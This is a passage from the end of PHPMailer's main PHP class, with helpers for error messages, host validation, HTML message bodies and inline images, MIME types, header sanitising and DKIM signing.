if (!empty($lasterror['smtp_code_ex'])) {
$msg .= ' ' . $this->lang('smtp_code_ex') . $lasterror['smtp_code_ex'];
}
}
}
$this->ErrorInfo = $msg;
}
/**
* Return an RFC 822 formatted date.
*
* @return string
*/
public static function rfcDate()
{
//Set the time zone to whatever the default is to avoid 500 errors
//Will default to UTC if it's not set properly in php.ini
date_default_timezone_set(@date_default_timezone_get());
return date('D, j M Y H:i:s O');
}
/**
* Get the server hostname.
* Returns 'localhost.localdomain' if unknown.
*
* @return string
*/
protected function serverHostname()
{
$result = '';
if (!empty($this->Hostname)) {
$result = $this->Hostname;
} elseif (isset($_SERVER) && array_key_exists('SERVER_NAME', $_SERVER)) {
$result = $_SERVER['SERVER_NAME'];
} elseif (function_exists('gethostname') && gethostname() !== false) {
$result = gethostname();
} elseif (php_uname('n') !== false) {
$result = php_uname('n');
}
if (!static::isValidHost($result)) {
return 'localhost.localdomain';
}
return $result;
}
/**
* Validate whether a string contains a valid value to use as a hostname or IP address.
* IPv6 addresses must include [], e.g. `[::1]`, not just `::1`.
*
* @param string $host The host name or IP address to check
*
* @return bool
*/
public static function isValidHost($host)
{
//Simple syntax limits
if (
empty($host)
|| !is_string($host)
|| strlen($host) > 256
|| !preg_match('/^([a-zA-Z\d.-]*|\[[a-fA-F\d:]+\])$/', $host)
) {
return false;
}
//Looks like a bracketed IPv6 address
if (strlen($host) > 2 && substr($host, 0, 1) === '[' && substr($host, -1, 1) === ']') {
return filter_var(substr($host, 1, -1), FILTER_VALIDATE_IP, FILTER_FLAG_IPV6) !== false;
}
//If removing all the dots results in a numeric string, it must be an IPv4 address.
//Need to check this first because otherwise things like `999.0.0.0` are considered valid host names
if (is_numeric(str_replace('.', '', $host))) {
//Is it a valid IPv4 address?
return filter_var($host, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) !== false;
}
//Is it a syntactically valid hostname (when embeded in a URL)?
return filter_var('http://' . $host, FILTER_VALIDATE_URL) !== false;
}
/**
* Get an error message in the current language.
*
* @param string $key
*
* @return string
*/
protected function lang($key)
{
if (count($this->language) < 1) {
$this->setLanguage(); //Set the default language
}
if (array_key_exists($key, $this->language)) {
if ('smtp_connect_failed' === $key) {
//Include a link to troubleshooting docs on SMTP connection failure.
//This is by far the biggest cause of support questions
//but it's usually not PHPMailer's fault.
return $this->language[$key] . ' https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting';
}
return $this->language[$key];
}
//Return the key as a fallback
return $key;
}
/**
* Build an error message starting with a generic one and adding details if possible.
*
* @param string $base_key
* @return string
*/
private function getSmtpErrorMessage($base_key)
{
$message = $this->lang($base_key);
$error = $this->smtp->getError();
if (!empty($error['error'])) {
$message .= ' ' . $error['error'];
if (!empty($error['detail'])) {
$message .= ' ' . $error['detail'];
}
}
return $message;
}
/**
* Check if an error occurred.
*
* @return bool True if an error did occur
*/
public function isError()
{
return $this->error_count > 0;
}
/**
* Add a custom header.
* $name value can be overloaded to contain
* both header name and value (name:value).
*
* @param string $name Custom header name
* @param string|null $value Header value
*
* @return bool True if a header was set successfully
* @throws Exception
*/
public function addCustomHeader($name, $value = null)
{
if (null === $value && strpos($name, ':') !== false) {
//Value passed in as name:value
list($name, $value) = explode(':', $name, 2);
}
$name = trim($name);
$value = (null === $value) ? '' : trim($value);
//Ensure name is not empty, and that neither name nor value contain line breaks
if (empty($name) || strpbrk($name . $value, "\r\n") !== false) {
if ($this->exceptions) {
throw new Exception($this->lang('invalid_header'));
}
return false;
}
$this->CustomHeader[] = [$name, $value];
return true;
}
/**
* Returns all custom headers.
*
* @return array
*/
public function getCustomHeaders()
{
return $this->CustomHeader;
}
/**
* Create a message body from an HTML string.
* Automatically inlines images and creates a plain-text version by converting the HTML,
* overwriting any existing values in Body and AltBody.
* Do not source $message content from user input!
* $basedir is prepended when handling relative URLs, e.g. <img src="/images/a.png"> and must not be empty
* will look for an image file in $basedir/images/a.png and convert it to inline.
* If you don't provide a $basedir, relative paths will be left untouched (and thus probably break in email)
* Converts data-uri images into embedded attachments.
* If you don't want to apply these transformations to your HTML, just set Body and AltBody directly.
*
* @param string $message HTML message string
* @param string $basedir Absolute path to a base directory to prepend to relative paths to images
* @param bool|callable $advanced Whether to use the internal HTML to text converter
* or your own custom converter
* @return string The transformed message body
*
* @throws Exception
*
* @see PHPMailer::html2text()
*/
public function msgHTML($message, $basedir = '', $advanced = false)
{
preg_match_all('/(?<!-)(src|background)=["\'](.*)["\']/Ui', $message, $images);
if (array_key_exists(2, $images)) {
if (strlen($basedir) > 1 && '/' !== substr($basedir, -1)) {
//Ensure $basedir has a trailing /
$basedir .= '/';
}
foreach ($images[2] as $imgindex => $url) {
//Convert data URIs into embedded images
//e.g. "data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw=="
$match = [];
if (preg_match('#^data:(image/(?:jpe?g|gif|png));?(base64)?,(.+)#', $url, $match)) {
if (count($match) === 4 && static::ENCODING_BASE64 === $match[2]) {
$data = base64_decode($match[3]);
} elseif ('' === $match[2]) {
$data = rawurldecode($match[3]);
} else {
//Not recognised so leave it alone
continue;
}
//Hash the decoded data, not the URL, so that the same data-URI image used in multiple places
//will only be embedded once, even if it used a different encoding
$cid = substr(hash('sha256', $data), 0, 32) . '@phpmailer.0'; //RFC2392 S 2
if (!$this->cidExists($cid)) {
$this->addStringEmbeddedImage(
$data,
$cid,
'embed' . $imgindex,
static::ENCODING_BASE64,
$match[1]
);
}
$message = str_replace(
$images[0][$imgindex],
$images[1][$imgindex] . '="cid:' . $cid . '"',
$message
);
continue;
}
if (
//Only process relative URLs if a basedir is provided (i.e. no absolute local paths)
!empty($basedir)
//Ignore URLs containing parent dir traversal (..)
&& (strpos($url, '..') === false)
//Do not change urls that are already inline images
&& 0 !== strpos($url, 'cid:')
//Do not change absolute URLs, including anonymous protocol
&& !preg_match('#^[a-z][a-z0-9+.-]*:?//#i', $url)
) {
$filename = static::mb_pathinfo($url, PATHINFO_BASENAME);
$directory = dirname($url);
if ('.' === $directory) {
$directory = '';
}
//RFC2392 S 2
$cid = substr(hash('sha256', $url), 0, 32) . '@phpmailer.0';
if (strlen($basedir) > 1 && '/' !== substr($basedir, -1)) {
$basedir .= '/';
}
if (strlen($directory) > 1 && '/' !== substr($directory, -1)) {
$directory .= '/';
}
if (
$this->addEmbeddedImage(
$basedir . $directory . $filename,
$cid,
$filename,
static::ENCODING_BASE64,
static::_mime_types((string) static::mb_pathinfo($filename, PATHINFO_EXTENSION))
)
) {
$message = preg_replace(
'/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
$images[1][$imgindex] . '="cid:' . $cid . '"',
$message
);
}
}
}
}
$this->isHTML();
//Convert all message body line breaks to LE, makes quoted-printable encoding work much better
$this->Body = static::normalizeBreaks($message);
$this->AltBody = static::normalizeBreaks($this->html2text($message, $advanced));
if (!$this->alternativeExists()) {
$this->AltBody = 'This is an HTML-only message. To view it, activate HTML in your email application.'
. static::$LE;
}
return $this->Body;
}
/**
* Convert an HTML string into plain text.
* This is used by msgHTML().
* Note - older versions of this function used a bundled advanced converter
* which was removed for license reasons in #232.
* Example usage:
*
* ```php
* //Use default conversion
* $plain = $mail->html2text($html);
* //Use your own custom converter
* $plain = $mail->html2text($html, function($html) {
* $converter = new MyHtml2text($html);
* return $converter->get_text();
* });
* ```
*
* @param string $html The HTML text to convert
* @param bool|callable $advanced Any boolean value to use the internal converter,
* or provide your own callable for custom conversion.
* *Never* pass user-supplied data into this parameter
*
* @return string
*/
public function html2text($html, $advanced = false)
{
if (is_callable($advanced)) {
return call_user_func($advanced, $html);
}
return html_entity_decode(
trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
ENT_QUOTES,
$this->CharSet
);
}
/**
* Get the MIME type for a file extension.
*
* @param string $ext File extension
*
* @return string MIME type of file
*/
public static function _mime_types($ext = '')
{
$mimes = [
'xl' => 'application/excel',
'js' => 'application/javascript',
'hqx' => 'application/mac-binhex40',
'cpt' => 'application/mac-compactpro',
'bin' => 'application/macbinary',
'doc' => 'application/msword',
'word' => 'application/msword',
'xlsx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
'xltx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template',
'potx' => 'application/vnd.openxmlformats-officedocument.presentationml.template',
'ppsx' => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',
'pptx' => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
'sldx' => 'application/vnd.openxmlformats-officedocument.presentationml.slide',
'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
'dotx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',
'xlam' => 'application/vnd.ms-excel.addin.macroEnabled.12',
'xlsb' => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12',
'class' => 'application/octet-stream',
'dll' => 'application/octet-stream',
'dms' => 'application/octet-stream',
'exe' => 'application/octet-stream',
'lha' => 'application/octet-stream',
'lzh' => 'application/octet-stream',
'psd' => 'application/octet-stream',
'sea' => 'application/octet-stream',
'so' => 'application/octet-stream',
'oda' => 'application/oda',
'pdf' => 'application/pdf',
'ai' => 'application/postscript',
'eps' => 'application/postscript',
'ps' => 'application/postscript',
'smi' => 'application/smil',
'smil' => 'application/smil',
'mif' => 'application/vnd.mif',
'xls' => 'application/vnd.ms-excel',
'ppt' => 'application/vnd.ms-powerpoint',
'wbxml' => 'application/vnd.wap.wbxml',
'wmlc' => 'application/vnd.wap.wmlc',
'dcr' => 'application/x-director',
'dir' => 'application/x-director',
'dxr' => 'application/x-director',
'dvi' => 'application/x-dvi',
'gtar' => 'application/x-gtar',
'php3' => 'application/x-httpd-php',
'php4' => 'application/x-httpd-php',
'php' => 'application/x-httpd-php',
'phtml' => 'application/x-httpd-php',
'phps' => 'application/x-httpd-php-source',
'swf' => 'application/x-shockwave-flash',
'sit' => 'application/x-stuffit',
'tar' => 'application/x-tar',
'tgz' => 'application/x-tar',
'xht' => 'application/xhtml+xml',
'xhtml' => 'application/xhtml+xml',
'zip' => 'application/zip',
'mid' => 'audio/midi',
'midi' => 'audio/midi',
'mp2' => 'audio/mpeg',
'mp3' => 'audio/mpeg',
'm4a' => 'audio/mp4',
'mpga' => 'audio/mpeg',
'aif' => 'audio/x-aiff',
'aifc' => 'audio/x-aiff',
'aiff' => 'audio/x-aiff',
'ram' => 'audio/x-pn-realaudio',
'rm' => 'audio/x-pn-realaudio',
'rpm' => 'audio/x-pn-realaudio-plugin',
'ra' => 'audio/x-realaudio',
'wav' => 'audio/x-wav',
'mka' => 'audio/x-matroska',
'bmp' => 'image/bmp',
'gif' => 'image/gif',
'jpeg' => 'image/jpeg',
'jpe' => 'image/jpeg',
'jpg' => 'image/jpeg',
'png' => 'image/png',
'tiff' => 'image/tiff',
'tif' => 'image/tiff',
'webp' => 'image/webp',
'avif' => 'image/avif',
'heif' => 'image/heif',
'heifs' => 'image/heif-sequence',
'heic' => 'image/heic',
'heics' => 'image/heic-sequence',
'eml' => 'message/rfc822',
'css' => 'text/css',
'html' => 'text/html',
'htm' => 'text/html',
'shtml' => 'text/html',
'log' => 'text/plain',
'text' => 'text/plain',
'txt' => 'text/plain',
'rtx' => 'text/richtext',
'rtf' => 'text/rtf',
'vcf' => 'text/vcard',
'vcard' => 'text/vcard',
'ics' => 'text/calendar',
'xml' => 'text/xml',
'xsl' => 'text/xml',
'csv' => 'text/csv',
'wmv' => 'video/x-ms-wmv',
'mpeg' => 'video/mpeg',
'mpe' => 'video/mpeg',
'mpg' => 'video/mpeg',
'mp4' => 'video/mp4',
'm4v' => 'video/mp4',
'mov' => 'video/quicktime',
'qt' => 'video/quicktime',
'rv' => 'video/vnd.rn-realvideo',
'avi' => 'video/x-msvideo',
'movie' => 'video/x-sgi-movie',
'webm' => 'video/webm',
'mkv' => 'video/x-matroska',
];
$ext = strtolower($ext);
if (array_key_exists($ext, $mimes)) {
return $mimes[$ext];
}
return 'application/octet-stream';
}
/**
* Map a file name to a MIME type.
* Defaults to 'application/octet-stream', i.e.. arbitrary binary data.
*
* @param string $filename A file name or full path, does not need to exist as a file
*
* @return string
*/
public static function filenameToType($filename)
{
//In case the path is a URL, strip any query string before getting extension
$qpos = strpos($filename, '?');
if (false !== $qpos) {
$filename = substr($filename, 0, $qpos);
}
$ext = static::mb_pathinfo($filename, PATHINFO_EXTENSION);
return static::_mime_types($ext);
}
/**
* Multi-byte-safe pathinfo replacement.
* Drop-in replacement for pathinfo(), but multibyte- and cross-platform-safe.
*
* @see http://www.php.net/manual/en/function.pathinfo.php#107461
*
* @param string $path A filename or path, does not need to exist as a file
* @param int|string $options Either a PATHINFO_* constant,
* or a string name to return only the specified piece
*
* @return string|array
*/
public static function mb_pathinfo($path, $options = null)
{
$ret = ['dirname' => '', 'basename' => '', 'extension' => '', 'filename' => ''];
$pathinfo = [];
if (preg_match('#^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^.\\\\/]+?)|))[\\\\/.]*$#m', $path, $pathinfo)) {
if (array_key_exists(1, $pathinfo)) {
$ret['dirname'] = $pathinfo[1];
}
if (array_key_exists(2, $pathinfo)) {
$ret['basename'] = $pathinfo[2];
}
if (array_key_exists(5, $pathinfo)) {
$ret['extension'] = $pathinfo[5];
}
if (array_key_exists(3, $pathinfo)) {
$ret['filename'] = $pathinfo[3];
}
}
switch ($options) {
case PATHINFO_DIRNAME:
case 'dirname':
return $ret['dirname'];
case PATHINFO_BASENAME:
case 'basename':
return $ret['basename'];
case PATHINFO_EXTENSION:
case 'extension':
return $ret['extension'];
case PATHINFO_FILENAME:
case 'filename':
return $ret['filename'];
default:
return $ret;
}
}
/**
* Set or reset instance properties.
* You should avoid this function - it's more verbose, less efficient, more error-prone and
* harder to debug than setting properties directly.
* Usage Example:
* `$mail->set('SMTPSecure', static::ENCRYPTION_STARTTLS);`
* is the same as:
* `$mail->SMTPSecure = static::ENCRYPTION_STARTTLS;`.
*
* @param string $name The property name to set
* @param mixed $value The value to set the property to
*
* @return bool
*/
public function set($name, $value = '')
{
if (property_exists($this, $name)) {
$this->{$name} = $value;
return true;
}
$this->setError($this->lang('variable_set') . $name);
return false;
}
/**
* Strip newlines to prevent header injection.
*
* @param string $str
*
* @return string
*/
public function secureHeader($str)
{
return trim(str_replace(["\r", "\n"], '', $str));
}
/**
* Normalize line breaks in a string.
* Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.
* Defaults to CRLF (for message bodies) and preserves consecutive breaks.
*
* @param string $text
* @param string $breaktype What kind of line break to use; defaults to static::$LE
*
* @return string
*/
public static function normalizeBreaks($text, $breaktype = null)
{
if (null === $breaktype) {
$breaktype = static::$LE;
}
//Normalise to \n
$text = str_replace([self::CRLF, "\r"], "\n", $text);
//Now convert LE as needed
if ("\n" !== $breaktype) {
$text = str_replace("\n", $breaktype, $text);
}
return $text;
}
/**
* Remove trailing whitespace from a string.
*
* @param string $text
*
* @return string The text to remove whitespace from
*/
public static function stripTrailingWSP($text)
{
return rtrim($text, " \r\n\t");
}
/**
* Strip trailing line breaks from a string.
*
* @param string $text
*
* @return string The text to remove breaks from
*/
public static function stripTrailingBreaks($text)
{
return rtrim($text, "\r\n");
}
/**
* Return the current line break format string.
*
* @return string
*/
public static function getLE()
{
return static::$LE;
}
/**
* Set the line break format string, e.g. "\r\n".
*
* @param string $le
*/
protected static function setLE($le)
{
static::$LE = $le;
}
/**
* Set the public and private key files and password for S/MIME signing.
*
* @param string $cert_filename
* @param string $key_filename
* @param string $key_pass Password for private key
* @param string $extracerts_filename Optional path to chain certificate
*/
public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '')
{
$this->sign_cert_file = $cert_filename;
$this->sign_key_file = $key_filename;
$this->sign_key_pass = $key_pass;
$this->sign_extracerts_file = $extracerts_filename;
}
/**
* Quoted-Printable-encode a DKIM header.
*
* @param string $txt
*
* @return string
*/
public function DKIM_QP($txt)
{
$line = '';
$len = strlen($txt);
for ($i = 0; $i < $len; ++$i) {
$ord = ord($txt[$i]);
if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord === 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
$line .= $txt[$i];
} else {
$line .= '=' . sprintf('%02X', $ord);
}
}
return $line;
}
/**
* Generate a DKIM signature.
*
* @param string $signHeader
*
* @throws Exception
*
* @return string The DKIM signature value
*/
public function DKIM_Sign($signHeader)
{
if (!defined('PKCS7_TEXT')) {
if ($this->exceptions) {
throw new Exception($this->lang('extension_missing') . 'openssl');
}
return '';
}
$privKeyStr = !empty($this->DKIM_private_string) ?
$this->DKIM_private_string :
file_get_contents($this->DKIM_private);
if ('' !== $this->DKIM_passphrase) {
$privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
} else {
$privKey = openssl_pkey_get_private($privKeyStr);
}
if (openssl_sign($signHeader, $signature, $privKey, 'sha256WithRSAEncryption')) {
if (\PHP_MAJOR_VERSION < 8) {
openssl_pkey_free($privKey);
}
return base64_encode($signature);
}
if (\PHP_MAJOR_VERSION < 8) {
openssl_pkey_free($privKey);
}
return '';
}
/**
* Generate a DKIM canonicalization header.
* Uses the 'relaxed' algorithm from RFC6376 section 3.4.2.
* Canonicalized headers should *always* use CRLF, regardless of mailer setting.
*
* @see https://tools.ietf.org/html/rfc6376#section-3.4.2
*
* @param string $signHeader Header
*
* @return string
*/
public function DKIM_HeaderC($signHeader)
{
//Normalize breaks to CRLF (regardless of the mailer)
$signHeader = static::normalizeBreaks($signHeader, self::CRLF);
//Unfold header lines
//Note PCRE \s is too broad a definition of whitespace; RFC5322 defines it as `[ \t]`
//@see https://tools.ietf.org/html/rfc5322#section-2.2
//That means this may break if you do something daft like put vertical tabs in your headers.
$signHeader = preg_replace('/\r\n[ \t]+/', ' ', $signHeader);
//Break headers out into an array
$lines = explode(self::CRLF, $signHeader);
foreach ($lines as $key => $line) {
//If the header is missing a :, skip it as it's invalid
//This is likely to happen because the explode() above will also split
//on the trailing LE, leaving an empty line
if (strpos($line, ':') === false) {
continue;
}
list($heading, $value) = explode(':', $line, 2);
//Lower-case header name
$heading = strtolower($heading);
//Collapse white space within the value, also convert WSP to space
$value = preg_replace('/[ \t]+/', ' ', $value);
//RFC6376 is slightly unclear here - it says to delete space at the *end* of each value
//But then says to delete space before and after the colon.
//Net result is the same as trimming both ends of the value.
//By elimination, the same applies to the field name
$lines[$key] = trim($heading, " \t") . ':' . trim($value, " \t");
}
return implode(self::CRLF, $lines);
}
/**
* Generate a DKIM canonicalization body.
* Uses the 'simple' algorithm from RFC6376 section 3.4.3.
* Canonicalized bodies should *always* use CRLF, regardless of mailer setting.
*
* @see https://tools.ietf.org/html/rfc6376#section-3.4.3
*
* @param string $body Message Body
*
* @return string
*/
public function DKIM_BodyC($body)
{
if (empty($body)) {
return self::CRLF;
}
//Normalize line endings to CRLF
$body = static::normalizeBreaks($body, self::CRLF);
//Reduce multiple trailing line breaks to a single one
return static::stripTrailingBreaks($body) . self::CRLF;
}
/**
* Create the DKIM header and body in a new message header.
*
* @param string $headers_line Header lines
* @param string $subject Subject
* @param string $body Body
*
* @throws Exception
*
* @return string
*/
public function DKIM_Add($headers_line, $subject, $body)
{
$DKIMsignatureType = 'rsa-sha256'; //Signature & hash algorithms
$DKIMcanonicalization = 'relaxed/simple'; //Canonicalization methods of header & body
$DKIMquery = 'dns/txt'; //Query method
$DKIMtime = time();
//Always sign these headers without being asked
//Recommended list from https://tools.ietf.org/html/rfc6376#section-5.4.1
$autoSignHeaders = [
'from',
'to',
'cc',
'date',
'subject',
'reply-to',
'message-id',
'content-type',
'mime-version',
'x-mailer',
];
if (stripos($headers_line, 'Subject') === false) {
$headers_line .= 'Subject: ' . $subject . static::$LE;
}
$headerLines = explode(static::$LE, $headers_line);
$currentHeaderLabel = '';
$currentHeaderValue = '';
$parsedHeaders = [];
$headerLineIndex = 0;
$headerLineCount = count($headerLines);
foreach ($headerLines as $headerLine) {
$matches = [];
if (preg_match('/^([^ \t]*?)(?::[ \t]*)(.*)$/', $headerLine, $matches)) {
if ($currentHeaderLabel !== '') {
//We were previously in another header; This is the start of a new header, so save the previous one
$parsedHeaders[] = ['label' => $currentHeaderLabel, 'value' => $currentHeaderValue];
}
$currentHeaderLabel = $matches[1];
$currentHeaderValue = $matches[2];
} elseif (preg_match('/^[ \t]+(.*)$/', $headerLine, $matches)) {
//This is a folded continuation of the current header, so unfold it
$currentHeaderValue .= ' ' . $matches[1];
}
++$headerLineIndex;
if ($headerLineIndex >= $headerLineCount) {
//This was the last line, so finish off this header
$parsedHeaders[] = ['label' => $currentHeaderLabel, 'value' => $currentHeaderValue];
}
}
$copiedHeaders = [];
$headersToSignKeys = [];
$headersToSign = [];
foreach ($parsedHeaders as $header) {
//Is this header one that must be included in the DKIM signature?
if (in_array(strtolower($header['label']), $autoSignHeaders, true)) {
$headersToSignKeys[] = $header['label'];
$headersToSign[] = $header['label'] . ': ' . $header['value'];
if ($this->DKIM_copyHeaderFields) {
$copiedHeaders[] = $header['label'] . ':' . //Note no space after this, as per RFC
str_replace('|', '=7C', $this->DKIM_QP($header['value']));
}
continue;
}
//Is this an extra custom header we've been asked to sign?
if (in_array($header['label'], $this->DKIM_extraHeaders, true)) {
//Find its value in custom headers
foreach ($this->CustomHeader as $customHeader) {
if ($customHeader[0] === $header['label']) {
$headersToSignKeys[] = $header['label'];
$headersToSign[] = $header['label'] . ': ' . $header['value'];
if ($this->DKIM_copyHeaderFields) {
$copiedHeaders[] = $header['label'] . ':' . //Note no space after this, as per RFC
str_replace('|', '=7C', $this->DKIM_QP($header['value']));
}
//Skip straight to the next header
continue 2;
}
}
}
}
$copiedHeaderFields = '';
if ($this->DKIM_copyHeaderFields && count($copiedHeaders) > 0) {
//Assemble a DKIM 'z' tag
$copiedHeaderFields = ' z=';
$first = true;
foreach ($copiedHeaders as $copiedHeader) {
if (!$first) {
$copiedHeaderFields .= static::$LE . ' |';
}
//Fold long values
if (strlen($copiedHeader) > self::STD_LINE_LENGTH - 3) {
$copiedHeaderFields .= substr(
chunk_split($copiedHeader, self::STD_LINE_LENGTH - 3, static::$LE . self::FWS),
0,
-strlen(static::$LE . self::FWS)
);
} else {
$copiedHeaderFields .= $copiedHeader;
}
$first = false;
}
$copiedHeaderFields .= ';' . static::$LE;
}
$headerKeys = ' h=' . implode(':', $headersToSignKeys) . ';' . static::$LE;
$headerValues = implode(static::$LE, $headersToSign);
$body = $this->DKIM_BodyC($body);
//Base64 of packed binary SHA-256 hash of body
$DKIMb64 = base64_encode(pack('H*', hash('sha256', $body)));
$ident = '';
if ('' !== $this->DKIM_identity) {
$ident = ' i=' . $this->DKIM_identity . ';' . static::$LE;
}
//The DKIM-Signature header is included in the signature *except for* the value of the `b` tag
//which is appended after calculating the signature
//https://tools.ietf.org/html/rfc6376#section-3.5
$dkimSignatureHeader = 'DKIM-Signature: v=1;' .
' d=' . $this->DKIM_domain . ';' .
' s=' . $this->DKIM_selector . ';' . static::$LE .
' a=' . $DKIMsignatureType . ';' .
' q=' . $DKIMquery . ';' .
' t=' . $DKIMtime . ';' .
' c=' . $DKIMcanonicalization . ';' . static::$LE .
$headerKeys .
$ident .
$copiedHeaderFields .
' bh=' . $DKIMb64 . ';' . static::$LE .
' b=';
//Canonicalize the set of headers
$canonicalizedHeaders = $this->DKIM_HeaderC(
$headerValues . static::$LE . $dkimSignatureHeader
);
$signature = $this->DKIM_Sign($canonicalizedHeaders);
$signature = trim(chunk_split($signature, self::STD_LINE_LENGTH - 3, static::$LE . self::FWS));
return static::normalizeBreaks($dkimSignatureHeader . $signature);
}
/**
* Detect if a string contains a line longer than the maximum line length
* allowed by RFC 2822 section 2.1.1.
*
* @param string $str
*
* @return bool
*/
public static function hasLineLongerThanMax($str)
{
return (bool) preg_match('/^(.{' . (self::MAX_LINE_LENGTH + strlen(static::$LE)) . ',})/m', $str);
}
/**
* If a string contains any "special" characters, double-quote the name,
* and escape any double quotes with a backslash.
*
* @param string $str
*
* @return string
*
* @see RFC822 3.4.1
*/
public static function quotedString($str)
{
if (preg_match('/[ ()<>@,;:"\/\[\]?=]/', $str)) {
//If the string contains any of these chars, it must be double-quoted
//and any double quotes must be escaped with a backslash
return '"' . str_replace('"', '\\"', $str) . '"';
}
//Return the string untouched, it doesn't need quoting
return $str;
}
/**
* Allows for public read access to 'to' property.
* Before the send() call, queued addresses (i.e. with IDN) are not yet included.
*
* @return array
*/
public function getToAddresses()
{
return $this->to;
}
/**
* Allows for public read access to 'cc' property.
* Before the send() call, queued addresses (i.e. with IDN) are not yet included.
*
* @return array
*/
public function getCcAddresses()
{
return $this->cc;
}
/**
* Allows for public read access to 'bcc' property.
* Before the send() call, queued addresses (i.e. with IDN) are not yet included.
*
* @return array
*/
public function getBccAddresses()
{
return $this->bcc;
}
/**
* Allows for public read access to 'ReplyTo' property.
* Before the send() call, queued addresses (i.e. with IDN) are not yet included.
*
* @return array
*/
public function getReplyToAddresses()
{
return $this->ReplyTo;
}
/**
* Allows for public read access to 'all_recipients' property.
* Before the send() call, queued addresses (i.e. with IDN) are not yet included.
*
* @return array
*/
public function getAllRecipientAddresses()
{
return $this->all_recipients;
}
/**
* Perform a callback.
*
* @param bool $isSent
* @param array $to
* @param array $cc
* @param array $bcc
* @param string $subject
* @param string $body
* @param string $from
* @param array $extra
*/
protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from, $extra)
{
if (!empty($this->action_function) && is_callable($this->action_function)) {
call_user_func($this->action_function, $isSent, $to, $cc, $bcc, $subject, $body, $from, $extra);
}
}
/**
* Get the OAuthTokenProvider instance.
*
* @return OAuthTokenProvider
*/
public function getOAuth()
{
return $this->oauth;
}
/**
* Set an OAuthTokenProvider instance.
*/
public function setOAuth(OAuthTokenProvider $oauth)
{
$this->oauth = $oauth;
}
}